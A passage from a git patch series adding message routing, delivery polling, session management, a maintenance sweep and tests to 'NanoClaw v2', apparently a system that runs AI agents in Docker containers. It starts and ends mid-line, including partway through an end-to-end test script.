(mount.readonly) { + args.push(...readonlyMountArgs(mount.hostPath, mount.containerPath)); + } else { + args.push('-v', `${mount.hostPath}:${mount.containerPath}`); + } + } + + args.push(CONTAINER_IMAGE); + + return args; +} diff --git a/src/delivery.ts b/src/delivery.ts new file mode 100644 index 0000000..ea52e74 --- /dev/null +++ b/src/delivery.ts @@ -0,0 +1,156 @@ +/** + * Outbound message delivery. + * Polls active session DBs for undelivered messages_out, delivers through channel adapters. + */ +import Database from 'better-sqlite3'; + +import { getRunningSessions, getActiveSessions } from './db/sessions.js'; +import { getAgentGroup } from './db/agent-groups.js'; +import { log } from './log.js'; +import { openSessionDb, sessionDbPath } from './session-manager.js'; +import { resetContainerIdleTimer } from './container-runner-v2.js'; +import type { Session } from './types-v2.js'; + +const ACTIVE_POLL_MS = 1000; +const SWEEP_POLL_MS = 60_000; + +export interface ChannelDeliveryAdapter { + deliver(channelType: string, platformId: string, threadId: string | null, kind: string, content: string): Promise; + setTyping?(channelType: string, platformId: string, threadId: string | null): Promise; +} + +let deliveryAdapter: ChannelDeliveryAdapter | null = null; +let activePolling = false; +let sweepPolling = false; + +export function setDeliveryAdapter(adapter: ChannelDeliveryAdapter): void { + deliveryAdapter = adapter; +} + +/** Start the active container poll loop (~1s). */ +export function startActiveDeliveryPoll(): void { + if (activePolling) return; + activePolling = true; + pollActive(); +} + +/** Start the sweep poll loop (~60s). */ +export function startSweepDeliveryPoll(): void { + if (sweepPolling) return; + sweepPolling = true; + pollSweep(); +} + +async function pollActive(): Promise { + if (!activePolling) return; + + try { + const sessions = getRunningSessions(); + for (const session of sessions) { + await deliverSessionMessages(session); + } + } catch (err) { + log.error('Active delivery poll error', { err }); + } + + setTimeout(pollActive, ACTIVE_POLL_MS); +} + +async function pollSweep(): Promise { + if (!sweepPolling) return; + + try { + const sessions = getActiveSessions(); + for (const session of sessions) { + await deliverSessionMessages(session); + } + } catch (err) { + log.error('Sweep delivery poll error', { err }); + } + + setTimeout(pollSweep, SWEEP_POLL_MS); +} + +async function deliverSessionMessages(session: Session): Promise { + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) return; + + let db: Database.Database; + try { + db = openSessionDb(agentGroup.id, session.id); + } catch { + return; // Session DB might not exist yet + } + + try { + const undelivered = db + .prepare( + `SELECT * FROM messages_out + WHERE delivered = 0 + AND (deliver_after IS NULL OR deliver_after <= datetime('now')) + ORDER BY timestamp ASC`, + ) + .all() as Array<{ + id: string; + kind: string; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; + }>; + + if (undelivered.length === 0) return; + + for (const msg of undelivered) { + try { + await deliverMessage(msg, session); + db.prepare('UPDATE messages_out SET delivered = 1 WHERE id = ?').run(msg.id); + resetContainerIdleTimer(session.id); + } catch (err) { + log.error('Failed to deliver message', { messageId: msg.id, sessionId: session.id, err }); + } + } + } finally { + db.close(); + } +} + +async function deliverMessage( + msg: { id: string; kind: string; platform_id: string | null; channel_type: string | null; thread_id: string | null; content: string }, + session: Session, +): Promise { + if (!deliveryAdapter) { + log.warn('No delivery adapter configured, dropping message', { id: msg.id }); + return; + } + + const content = JSON.parse(msg.content); + + // System actions — handle internally + if (msg.kind === 'system') { + log.info('System action from agent', { sessionId: session.id, action: content.action }); + // TODO: handle system actions (register_group, reset_session, etc.) + return; + } + + // Agent-to-agent — route to target session + if (msg.channel_type === 'agent') { + log.info('Agent-to-agent message', { from: session.id, target: msg.platform_id }); + // TODO: route to target agent's session DB + return; + } + + // Channel delivery + if (!msg.channel_type || !msg.platform_id) { + log.warn('Message missing routing fields', { id: msg.id }); + return; + } + + await deliveryAdapter.deliver(msg.channel_type, msg.platform_id, msg.thread_id, msg.kind, msg.content); + log.info('Message delivered', { id: msg.id, channelType: msg.channel_type, platformId: msg.platform_id }); +} + +export function stopDeliveryPolls(): void { + activePolling = false; + sweepPolling = false; +} diff --git a/src/host-sweep.ts b/src/host-sweep.ts new file mode 100644 index 0000000..431f04a --- /dev/null +++ b/src/host-sweep.ts @@ -0,0 +1,131 @@ +/** + * Host sweep — periodic maintenance of all session DBs. + * + * - Wake containers for sessions with due messages (process_after) + * - Detect stale processing messages (container crash) → reset with backoff + * - Insert next occurrence for recurring messages + * - Kill idle containers past timeout + */ +import Database from 'better-sqlite3'; +import fs from 'fs'; + +import { getActiveSessions, updateSession } from './db/sessions.js'; +import { getAgentGroup } from './db/agent-groups.js'; +import { log } from './log.js'; +import { openSessionDb, sessionDbPath } from './session-manager.js'; +import { wakeContainer, isContainerRunning } from './container-runner-v2.js'; +import type { Session } from './types-v2.js'; + +const SWEEP_INTERVAL_MS = 60_000; +const STALE_THRESHOLD_MS = 10 * 60 * 1000; // 10 minutes +const MAX_TRIES = 5; +const BACKOFF_BASE_MS = 5000; + +let running = false; + +export function startHostSweep(): void { + if (running) return; + running = true; + sweep(); +} + +export function stopHostSweep(): void { + running = false; +} + +async function sweep(): Promise { + if (!running) return; + + try { + const sessions = getActiveSessions(); + for (const session of sessions) { + await sweepSession(session); + } + } catch (err) { + log.error('Host sweep error', { err }); + } + + setTimeout(sweep, SWEEP_INTERVAL_MS); +} + +async function sweepSession(session: Session): Promise { + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) return; + + const dbPath = sessionDbPath(agentGroup.id, session.id); + if (!fs.existsSync(dbPath)) return; + + let db: Database.Database; + try { + db = new Database(dbPath); + db.pragma('journal_mode = WAL'); + } catch { + return; + } + + try { + // 1. Check for due pending messages → wake container + const dueMessages = db + .prepare( + `SELECT COUNT(*) as count FROM messages_in + WHERE status = 'pending' + AND (process_after IS NULL OR process_after <= datetime('now'))`, + ) + .get() as { count: number }; + + if (dueMessages.count > 0 && !isContainerRunning(session.id)) { + log.info('Waking container for due messages', { sessionId: session.id, count: dueMessages.count }); + await wakeContainer(session); + } + + // 2. Detect stale processing messages + const staleMessages = db + .prepare( + `SELECT id, tries FROM messages_in + WHERE status = 'processing' + AND status_changed < datetime('now', '-${Math.floor(STALE_THRESHOLD_MS / 1000)} seconds')`, + ) + .all() as Array<{ id: string; tries: number }>; + + for (const msg of staleMessages) { + if (msg.tries >= MAX_TRIES) { + db.prepare("UPDATE messages_in SET status = 'failed', status_changed = datetime('now') WHERE id = ?").run(msg.id); + log.warn('Message marked as failed after max retries', { messageId: msg.id, sessionId: session.id }); + } else { + const backoffMs = BACKOFF_BASE_MS * Math.pow(2, msg.tries); + const backoffSec = Math.floor(backoffMs / 1000); + db.prepare(`UPDATE messages_in SET status = 'pending', status_changed = datetime('now'), process_after = datetime('now', '+${backoffSec} seconds') WHERE id = ?`).run(msg.id); + log.info('Reset stale message with backoff', { messageId: msg.id, tries: msg.tries, backoffMs }); + } + } + + // 3. Handle recurrence for completed messages + const completedRecurring = db + .prepare("SELECT * FROM messages_in WHERE status = 'completed' AND recurrence IS NOT NULL") + .all() as Array<{ id: string; kind: string; content: string; recurrence: string; process_after: string | null; platform_id: string | null; channel_type: string | null; thread_id: string | null }>; + + for (const msg of completedRecurring) { + try { + // Dynamic import to avoid loading cron-parser at module level + const { CronExpressionParser } = await import('cron-parser'); + const interval = CronExpressionParser.parse(msg.recurrence); + const nextRun = interval.next().toISOString(); + const newId = `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + + db.prepare( + `INSERT INTO messages_in (id, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) + VALUES (?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, + ).run(newId, msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); + + // Remove recurrence from the completed message so it doesn't spawn again + db.prepare("UPDATE messages_in SET recurrence = NULL WHERE id = ?").run(msg.id); + + log.info('Inserted next recurrence', { originalId: msg.id, newId, nextRun }); + } catch (err) { + log.error('Failed to compute next recurrence', { messageId: msg.id, recurrence: msg.recurrence, err }); + } + } + } finally { + db.close(); + } +} diff --git a/src/index-v2.ts b/src/index-v2.ts new file mode 100644 index 0000000..07da575 --- /dev/null +++ b/src/index-v2.ts @@ -0,0 +1,49 @@ +/** + * NanoClaw v2 — main entry point. + * + * Thin orchestrator: init DB, run migrations, start delivery polls, start sweep. + * Channel adapters are started separately (Phase 4). + */ +import path from 'path'; + +import { DATA_DIR } from './config.js'; +import { initDb } from './db/connection.js'; +import { runMigrations } from './db/migrations/index.js'; +import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runtime.js'; +import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter } from './delivery.js'; +import { startHostSweep } from './host-sweep.js'; +import { log } from './log.js'; + +async function main(): Promise { + log.info('NanoClaw v2 starting'); + + // 1. Init central DB + const dbPath = path.join(DATA_DIR, 'v2.db'); + const db = initDb(dbPath); + runMigrations(db); + log.info('Central DB ready', { path: dbPath }); + + // 2. Container runtime + ensureContainerRuntimeRunning(); + cleanupOrphans(); + + // 3. Channel adapters (Phase 4 — placeholder) + // TODO: init channel adapters, set up delivery adapter + // setDeliveryAdapter({ deliver: async (...) => { ... } }); + + // 4. Start delivery polls + startActiveDeliveryPoll(); + startSweepDeliveryPoll(); + log.info('Delivery polls started'); + + // 5. Start host sweep + startHostSweep(); + log.info('Host sweep started'); + + log.info('NanoClaw v2 running'); +} + +main().catch((err) => { + log.fatal('Startup failed', { err }); + process.exit(1); +}); diff --git a/src/router-v2.ts b/src/router-v2.ts new file mode 100644 index 0000000..ee08d5e --- /dev/null +++ b/src/router-v2.ts @@ -0,0 +1,99 @@ +/** + * Inbound message routing for v2. + * + * Channel adapter event → resolve messaging group → resolve agent group + * → resolve/create session → write messages_in → wake container + */ +import { getMessagingGroupByPlatform, createMessagingGroup, getMessagingGroupAgents } from './db/messaging-groups.js'; +import { log } from './log.js'; +import { resolveSession, writeSessionMessage } from './session-manager.js'; +import { wakeContainer } from './container-runner-v2.js'; +import { getSession } from './db/sessions.js'; +import type { MessagingGroupAgent } from './types-v2.js'; + +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +export interface InboundEvent { + channelType: string; + platformId: string; + threadId: string | null; + message: { + id: string; + kind: 'chat' | 'chat-sdk'; + content: string; // JSON blob + timestamp: string; + }; +} + +/** + * Route an inbound message from a channel adapter to the correct session. + * Creates messaging group + session if they don't exist yet. + */ +export async function routeInbound(event: InboundEvent): Promise { + // 1. Resolve messaging group + let mg = getMessagingGroupByPlatform(event.channelType, event.platformId); + + if (!mg) { + // Auto-create messaging group (adapter already decided to forward this) + const mgId = `mg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + mg = { + id: mgId, + channel_type: event.channelType, + platform_id: event.platformId, + name: null, + is_group: 0, + admin_user_id: null, + created_at: new Date().toISOString(), + }; + createMessagingGroup(mg); + log.info('Auto-created messaging group', { id: mgId, channelType: event.channelType, platformId: event.platformId }); + } + + // 2. Resolve agent group via messaging_group_agents + const agents = getMessagingGroupAgents(mg.id); + if (agents.length === 0) { + log.warn('No agent groups configured for messaging group', { messagingGroupId: mg.id, platformId: event.platformId }); + return; + } + + // Pick the best matching agent (highest priority, trigger matching in future) + const match = pickAgent(agents, event); + if (!match) { + log.debug('No agent matched for message', { messagingGroupId: mg.id }); + return; + } + + // 3. Resolve or create session + const { session, created } = resolveSession(match.agent_group_id, mg.id, event.threadId, match.session_mode); + + // 4. Write message to session DB + writeSessionMessage(session.agent_group_id, session.id, { + id: event.message.id || generateId(), + kind: event.message.kind, + timestamp: event.message.timestamp, + platformId: event.platformId, + channelType: event.channelType, + threadId: event.threadId, + content: event.message.content, + }); + + log.info('Message routed', { sessionId: session.id, agentGroup: match.agent_group_id, kind: event.message.kind, created }); + + // 5. Wake container + const freshSession = getSession(session.id); + if (freshSession) { + await wakeContainer(freshSession); + } +} + +/** + * Pick the matching agent for an inbound event. + * Currently: highest priority agent. Future: trigger rule matching. + */ +function pickAgent(agents: MessagingGroupAgent[], _event: InboundEvent): MessagingGroupAgent | null { + // Agents are already ordered by priority DESC from the DB query + // TODO: apply trigger_rules matching (pattern, mentionOnly, etc.) + return agents[0] ?? null; +} diff --git a/src/session-manager.ts b/src/session-manager.ts new file mode 100644 index 0000000..ae07577 --- /dev/null +++ b/src/session-manager.ts @@ -0,0 +1,145 @@ +/** + * Session lifecycle management. + * Creates session folders + DBs, writes messages, manages container status. + */ +import Database from 'better-sqlite3'; +import fs from 'fs'; +import path from 'path'; + +import { DATA_DIR } from './config.js'; +import { createSession, findSession, getSession, updateSession } from './db/sessions.js'; +import { log } from './log.js'; +import { SESSION_SCHEMA } from './db/schema.js'; +import type { Session } from './types-v2.js'; + +/** Root directory for all session data. */ +export function sessionsBaseDir(): string { + return path.join(DATA_DIR, 'v2-sessions'); +} + +/** Directory for a specific session: sessions/{agent_group_id}/{session_id}/ */ +export function sessionDir(agentGroupId: string, sessionId: string): string { + return path.join(sessionsBaseDir(), agentGroupId, sessionId); +} + +/** Path to a session's SQLite DB. */ +export function sessionDbPath(agentGroupId: string, sessionId: string): string { + return path.join(sessionDir(agentGroupId, sessionId), 'session.db'); +} + +function generateId(): string { + return `sess-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +/** + * Find or create a session for a messaging group + thread. + * Returns the session and whether it was newly created. + */ +export function resolveSession(agentGroupId: string, messagingGroupId: string, threadId: string | null, sessionMode: 'shared' | 'per-thread'): { session: Session; created: boolean } { + // For shared mode, look for any active session with this messaging group (threadId ignored) + // For per-thread mode, look for an active session with this specific thread + const lookupThreadId = sessionMode === 'shared' ? null : threadId; + const existing = findSession(messagingGroupId, lookupThreadId); + + if (existing) { + return { session: existing, created: false }; + } + + // Create new session + const id = generateId(); + const session: Session = { + id, + agent_group_id: agentGroupId, + messaging_group_id: messagingGroupId, + thread_id: lookupThreadId, + agent_provider: null, + status: 'active', + container_status: 'stopped', + last_active: null, + created_at: new Date().toISOString(), + }; + + createSession(session); + initSessionFolder(agentGroupId, id); + log.info('Session created', { id, agentGroupId, messagingGroupId, threadId: lookupThreadId }); + + return { session, created: true }; +} + +/** Create the session folder and initialize the session DB. */ +export function initSessionFolder(agentGroupId: string, sessionId: string): void { + const dir = sessionDir(agentGroupId, sessionId); + fs.mkdirSync(dir, { recursive: true }); + fs.mkdirSync(path.join(dir, 'outbox'), { recursive: true }); + + const dbPath = sessionDbPath(agentGroupId, sessionId); + if (!fs.existsSync(dbPath)) { + const db = new Database(dbPath); + db.pragma('journal_mode = WAL'); + db.exec(SESSION_SCHEMA); + db.close(); + log.debug('Session DB created', { dbPath }); + } +} + +/** Write a message to a session's messages_in table. */ +export function writeSessionMessage(agentGroupId: string, sessionId: string, message: { + id: string; + kind: string; + timestamp: string; + platformId?: string | null; + channelType?: string | null; + threadId?: string | null; + content: string; + processAfter?: string | null; + recurrence?: string | null; +}): void { + const dbPath = sessionDbPath(agentGroupId, sessionId); + const db = new Database(dbPath); + db.pragma('journal_mode = WAL'); + + try { + db.prepare( + `INSERT INTO messages_in (id, kind, timestamp, status, platform_id, channel_type, thread_id, content, process_after, recurrence) + VALUES (@id, @kind, @timestamp, 'pending', @platformId, @channelType, @threadId, @content, @processAfter, @recurrence)`, + ).run({ + id: message.id, + kind: message.kind, + timestamp: message.timestamp, + platformId: message.platformId ?? null, + channelType: message.channelType ?? null, + threadId: message.threadId ?? null, + content: message.content, + processAfter: message.processAfter ?? null, + recurrence: message.recurrence ?? null, + }); + } finally { + db.close(); + } + + // Update last_active + updateSession(sessionId, { last_active: new Date().toISOString() }); +} + +/** Open a session DB for reading (e.g., polling messages_out). */ +export function openSessionDb(agentGroupId: string, sessionId: string): Database.Database { + const dbPath = sessionDbPath(agentGroupId, sessionId); + const db = new Database(dbPath); + db.pragma('journal_mode = WAL'); + return db; +} + +/** Mark a container as running for a session. */ +export function markContainerRunning(sessionId: string): void { + updateSession(sessionId, { container_status: 'running', last_active: new Date().toISOString() }); +} + +/** Mark a container as idle for a session. */ +export function markContainerIdle(sessionId: string): void { + updateSession(sessionId, { container_status: 'idle' }); +} + +/** Mark a container as stopped for a session. */ +export function markContainerStopped(sessionId: string): void { + updateSession(sessionId, { container_status: 'stopped' }); +} From 8535875d0c75b73b79ce1e2b2e12e2366e9c6958 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:44:26 +0300 Subject: [PATCH 069/485] v2: add host core integration tests Tests for session manager (folder/DB creation, shared vs per-thread resolution, message writing), router (end-to-end routing, auto-create messaging groups), and delivery (undelivered message detection). Co-Authored-By: Claude Opus 4.6 (1M context) --- src/host-core.test.ts | 254 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 254 insertions(+) create mode 100644 src/host-core.test.ts diff --git a/src/host-core.test.ts b/src/host-core.test.ts new file mode 100644 index 0000000..9f38604 --- /dev/null +++ b/src/host-core.test.ts @@ -0,0 +1,254 @@ +/** + * Integration tests for the v2 host core. + * Tests routing, session creation, message writing, and delivery + * without spawning actual containers. + */ +import Database from 'better-sqlite3'; +import fs from 'fs'; +import path from 'path'; +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; + +import { initTestDb, closeDb, runMigrations, createAgentGroup, createMessagingGroup, createMessagingGroupAgent } from './db/index.js'; +import { resolveSession, writeSessionMessage, initSessionFolder, sessionDir, sessionDbPath, sessionsBaseDir } from './session-manager.js'; +import { getSession, findSession } from './db/sessions.js'; +import type { InboundEvent } from './router-v2.js'; + +// Mock container runner to prevent actual Docker spawning +vi.mock('./container-runner-v2.js', () => ({ + wakeContainer: vi.fn().mockResolvedValue(undefined), + resetContainerIdleTimer: vi.fn(), + isContainerRunning: vi.fn().mockReturnValue(false), + getActiveContainerCount: vi.fn().mockReturnValue(0), + killContainer: vi.fn(), +})); + +// Override DATA_DIR for tests +vi.mock('./config.js', async () => { + const actual = await vi.importActual('./config.js'); + return { ...actual, DATA_DIR: '/tmp/nanoclaw-test-host' }; +}); + +function now() { + return new Date().toISOString(); +} + +const TEST_DIR = '/tmp/nanoclaw-test-host'; + +beforeEach(() => { + // Clean test directory + if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); + fs.mkdirSync(TEST_DIR, { recursive: true }); + + const db = initTestDb(); + runMigrations(db); +}); + +afterEach(() => { + closeDb(); + if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); +}); + +describe('session manager', () => { + beforeEach(() => { + createAgentGroup({ id: 'ag-1', name: 'Test Agent', folder: 'test-agent', is_admin: 0, agent_provider: null, container_config: null, created_at: now() }); + createMessagingGroup({ id: 'mg-1', channel_type: 'discord', platform_id: 'chan-123', name: 'General', is_group: 1, admin_user_id: null, created_at: now() }); + }); + + it('should create session folder and DB', () => { + initSessionFolder('ag-1', 'sess-test'); + const dir = sessionDir('ag-1', 'sess-test'); + expect(fs.existsSync(dir)).toBe(true); + expect(fs.existsSync(path.join(dir, 'outbox'))).toBe(true); + + const dbPath = sessionDbPath('ag-1', 'sess-test'); + expect(fs.existsSync(dbPath)).toBe(true); + + // Verify session DB has the right tables + const db = new Database(dbPath); + const tables = db.prepare("SELECT name FROM sqlite_master WHERE type='table'").all() as Array<{ name: string }>; + const tableNames = tables.map((t) => t.name); + expect(tableNames).toContain('messages_in'); + expect(tableNames).toContain('messages_out'); + db.close(); + }); + + it('should resolve to existing session (shared mode)', () => { + const { session: s1, created: c1 } = resolveSession('ag-1', 'mg-1', null, 'shared'); + expect(c1).toBe(true); + + const { session: s2, created: c2 } = resolveSession('ag-1', 'mg-1', null, 'shared'); + expect(c2).toBe(false); + expect(s2.id).toBe(s1.id); + }); + + it('should create separate sessions per thread (per-thread mode)', () => { + const { session: s1 } = resolveSession('ag-1', 'mg-1', 'thread-1', 'per-thread'); + const { session: s2 } = resolveSession('ag-1', 'mg-1', 'thread-2', 'per-thread'); + expect(s1.id).not.toBe(s2.id); + }); + + it('should reuse session for same thread', () => { + const { session: s1 } = resolveSession('ag-1', 'mg-1', 'thread-1', 'per-thread'); + const { session: s2, created } = resolveSession('ag-1', 'mg-1', 'thread-1', 'per-thread'); + expect(created).toBe(false); + expect(s2.id).toBe(s1.id); + }); + + it('should write message to session DB', () => { + const { session } = resolveSession('ag-1', 'mg-1', null, 'shared'); + + writeSessionMessage('ag-1', session.id, { + id: 'msg-1', + kind: 'chat', + timestamp: now(), + platformId: 'chan-123', + channelType: 'discord', + threadId: null, + content: JSON.stringify({ sender: 'User', text: 'Hello' }), + }); + + // Read from the session DB + const dbPath = sessionDbPath('ag-1', session.id); + const db = new Database(dbPath); + const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ id: string; kind: string; status: string; content: string }>; + db.close(); + + expect(rows).toHaveLength(1); + expect(rows[0].id).toBe('msg-1'); + expect(rows[0].status).toBe('pending'); + expect(JSON.parse(rows[0].content).text).toBe('Hello'); + }); + + it('should update last_active on message write', () => { + const { session } = resolveSession('ag-1', 'mg-1', null, 'shared'); + expect(getSession(session.id)!.last_active).toBeNull(); + + writeSessionMessage('ag-1', session.id, { + id: 'msg-1', + kind: 'chat', + timestamp: now(), + content: JSON.stringify({ text: 'hi' }), + }); + + expect(getSession(session.id)!.last_active).not.toBeNull(); + }); +}); + +describe('router', () => { + beforeEach(() => { + createAgentGroup({ id: 'ag-1', name: 'Test Agent', folder: 'test-agent', is_admin: 0, agent_provider: null, container_config: null, created_at: now() }); + createMessagingGroup({ id: 'mg-1', channel_type: 'discord', platform_id: 'chan-123', name: 'General', is_group: 1, admin_user_id: null, created_at: now() }); + createMessagingGroupAgent({ id: 'mga-1', messaging_group_id: 'mg-1', agent_group_id: 'ag-1', trigger_rules: null, response_scope: 'all', session_mode: 'shared', priority: 0, created_at: now() }); + }); + + it('should route a message end-to-end', async () => { + const { routeInbound } = await import('./router-v2.js'); + const { wakeContainer } = await import('./container-runner-v2.js'); + + const event: InboundEvent = { + channelType: 'discord', + platformId: 'chan-123', + threadId: null, + message: { + id: 'msg-in-1', + kind: 'chat', + content: JSON.stringify({ sender: 'User', text: 'Hello agent!' }), + timestamp: now(), + }, + }; + + await routeInbound(event); + + // Verify session was created + const session = findSession('mg-1', null); + expect(session).toBeDefined(); + + // Verify message was written to session DB + const dbPath = sessionDbPath('ag-1', session!.id); + const db = new Database(dbPath); + const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ id: string; content: string }>; + db.close(); + + expect(rows).toHaveLength(1); + expect(JSON.parse(rows[0].content).text).toBe('Hello agent!'); + + // Verify container was woken + expect(wakeContainer).toHaveBeenCalled(); + }); + + it('should auto-create messaging group for unknown platform', async () => { + const { routeInbound } = await import('./router-v2.js'); + + // This platform ID isn't registered — but since there's no agent configured for it, + // it should create the messaging group but not route (no agents configured) + const event: InboundEvent = { + channelType: 'slack', + platformId: 'C-NEW-CHANNEL', + threadId: null, + message: { + id: 'msg-2', + kind: 'chat', + content: JSON.stringify({ sender: 'User', text: 'Hi' }), + timestamp: now(), + }, + }; + + await routeInbound(event); + + // Messaging group should be created + const { getMessagingGroupByPlatform } = await import('./db/messaging-groups.js'); + const mg = getMessagingGroupByPlatform('slack', 'C-NEW-CHANNEL'); + expect(mg).toBeDefined(); + }); + + it('should route multiple messages to the same session', async () => { + const { routeInbound } = await import('./router-v2.js'); + + await routeInbound({ + channelType: 'discord', + platformId: 'chan-123', + threadId: null, + message: { id: 'msg-a', kind: 'chat', content: JSON.stringify({ sender: 'A', text: 'First' }), timestamp: now() }, + }); + + await routeInbound({ + channelType: 'discord', + platformId: 'chan-123', + threadId: null, + message: { id: 'msg-b', kind: 'chat', content: JSON.stringify({ sender: 'B', text: 'Second' }), timestamp: now() }, + }); + + // Both should be in the same session + const session = findSession('mg-1', null); + const dbPath = sessionDbPath('ag-1', session!.id); + const db = new Database(dbPath); + const rows = db.prepare('SELECT * FROM messages_in ORDER BY timestamp').all(); + db.close(); + + expect(rows).toHaveLength(2); + }); +}); + +describe('delivery', () => { + it('should detect undelivered messages in session DB', () => { + createAgentGroup({ id: 'ag-1', name: 'Agent', folder: 'agent', is_admin: 0, agent_provider: null, container_config: null, created_at: now() }); + createMessagingGroup({ id: 'mg-test', channel_type: 'discord', platform_id: 'chan-test', name: 'Test', is_group: 0, admin_user_id: null, created_at: now() }); + + const { session } = resolveSession('ag-1', 'mg-test', null, 'shared'); + + // Write a response to the session DB (simulating what the agent-runner does) + const dbPath = sessionDbPath('ag-1', session.id); + const db = new Database(dbPath); + db.pragma('journal_mode = WAL'); + db.prepare( + `INSERT INTO messages_out (id, timestamp, delivered, kind, platform_id, channel_type, content) + VALUES ('out-1', datetime('now'), 0, 'chat', 'chan-123', 'discord', ?)`, + ).run(JSON.stringify({ text: 'Agent response' })); + + const undelivered = db.prepare("SELECT * FROM messages_out WHERE delivered = 0").all() as Array<{ id: string; content: string }>; + db.close(); + + expect(undelivered).toHaveLength(1); + expect(JSON.parse(undelivered[0].content).text).toBe('Agent response'); + }); +}); From 03c4e3b6724c786b96a4b161df80c4c2f81b3f91 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:49:30 +0300 Subject: [PATCH 070/485] v2: fix container launch for v2 agent-runner MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Override entrypoint to compile and run index-v2.js (no stdin) - Add better-sqlite3 + @types to agent-runner dependencies - Exclude test files from agent-runner tsconfig (Docker build) - Add real e2e test script (host → container → Claude → session DB) Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/package.json | 2 + container/agent-runner/tsconfig.json | 2 +- scripts/test-v2-host.ts | 168 +++++++++++++++++++++++++++ src/container-runner-v2.ts | 51 ++++++-- 4 files changed, 211 insertions(+), 12 deletions(-) create mode 100644 scripts/test-v2-host.ts diff --git a/container/agent-runner/package.json b/container/agent-runner/package.json index 35ebc22..fd579b1 100644 --- a/container/agent-runner/package.json +++ b/container/agent-runner/package.json @@ -11,10 +11,12 @@ "dependencies": { "@anthropic-ai/claude-agent-sdk": "^0.2.92", "@modelcontextprotocol/sdk": "^1.12.1", + "better-sqlite3": "^11.10.0", "cron-parser": "^5.0.0", "zod": "^4.0.0" }, "devDependencies": { + "@types/better-sqlite3": "^7.6.12", "@types/node": "^22.10.7", "typescript": "^5.7.3" } diff --git a/container/agent-runner/tsconfig.json b/container/agent-runner/tsconfig.json index de6431e..d71b5ff 100644 --- a/container/agent-runner/tsconfig.json +++ b/container/agent-runner/tsconfig.json @@ -11,5 +11,5 @@ "declaration": true }, "include": ["src/**/*"], - "exclude": ["node_modules", "dist"] + "exclude": ["node_modules", "dist", "src/**/*.test.ts"] } diff --git a/scripts/test-v2-host.ts b/scripts/test-v2-host.ts new file mode 100644 index 0000000..ee1ed7a --- /dev/null +++ b/scripts/test-v2-host.ts @@ -0,0 +1,168 @@ +/** + * Real end-to-end test of v2: host router → Docker container → agent-runner → delivery. + * + * 1. Init central DB with agent group + messaging group + wiring + * 2. Route an inbound message (creates session, writes messages_in, spawns container) + * 3. Container runs v2 agent-runner, polls session DB, queries Claude + * 4. Poll session DB for messages_out response + * + * Usage: npx tsx scripts/test-v2-host.ts + */ +import Database from 'better-sqlite3'; +import fs from 'fs'; +import path from 'path'; + +const TEST_DIR = '/tmp/nanoclaw-v2-e2e'; +if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); +fs.mkdirSync(TEST_DIR, { recursive: true }); + +// --- Step 1: Init central DB --- +console.log('\n=== Step 1: Init central DB ==='); + +import { initDb } from '../src/db/connection.js'; +import { runMigrations } from '../src/db/migrations/index.js'; +import { createAgentGroup } from '../src/db/agent-groups.js'; +import { createMessagingGroup, createMessagingGroupAgent } from '../src/db/messaging-groups.js'; + +const centralDb = initDb(path.join(TEST_DIR, 'v2.db')); +runMigrations(centralDb); + +// Create groups dir for agent folder mount +const groupsDir = path.resolve(process.cwd(), 'groups'); +const testGroupDir = path.join(groupsDir, 'test-agent-e2e'); +fs.mkdirSync(testGroupDir, { recursive: true }); +fs.writeFileSync(path.join(testGroupDir, 'CLAUDE.md'), '# Test Agent\nYou are a test agent. Be brief.\n'); + +createAgentGroup({ + id: 'ag-e2e', + name: 'E2E Test Agent', + folder: 'test-agent-e2e', + is_admin: 0, + agent_provider: 'claude', + container_config: null, + created_at: new Date().toISOString(), +}); + +createMessagingGroup({ + id: 'mg-e2e', + channel_type: 'test', + platform_id: 'e2e-channel', + name: 'E2E Test Channel', + is_group: 0, + admin_user_id: null, + created_at: new Date().toISOString(), +}); + +createMessagingGroupAgent({ + id: 'mga-e2e', + messaging_group_id: 'mg-e2e', + agent_group_id: 'ag-e2e', + trigger_rules: null, + response_scope: 'all', + session_mode: 'shared', + priority: 0, + created_at: new Date().toISOString(), +}); + +console.log('✓ Central DB initialized'); + +// --- Step 2: Route inbound message (spawns container) --- +console.log('\n=== Step 2: Route inbound message ==='); + +import { routeInbound } from '../src/router-v2.js'; +import { findSession } from '../src/db/sessions.js'; +import { sessionDbPath } from '../src/session-manager.js'; + +await routeInbound({ + channelType: 'test', + platformId: 'e2e-channel', + threadId: null, + message: { + id: 'msg-e2e-1', + kind: 'chat', + content: JSON.stringify({ + sender: 'Gavriel', + text: 'Say "E2E works!" and nothing else. Do not use any tools.', + }), + timestamp: new Date().toISOString(), + }, +}); + +const session = findSession('mg-e2e', null); +if (!session) { + console.log('✗ No session created!'); + process.exit(1); +} +console.log(`✓ Session: ${session.id}`); +console.log(`✓ Container status: ${session.container_status}`); + +const sessDbPath = sessionDbPath('ag-e2e', session.id); +console.log(`✓ Session DB: ${sessDbPath}`); + +// --- Step 3: Wait for response --- +console.log('\n=== Step 3: Waiting for Claude response... ==='); + +const startTime = Date.now(); +const TIMEOUT_MS = 120_000; + +const 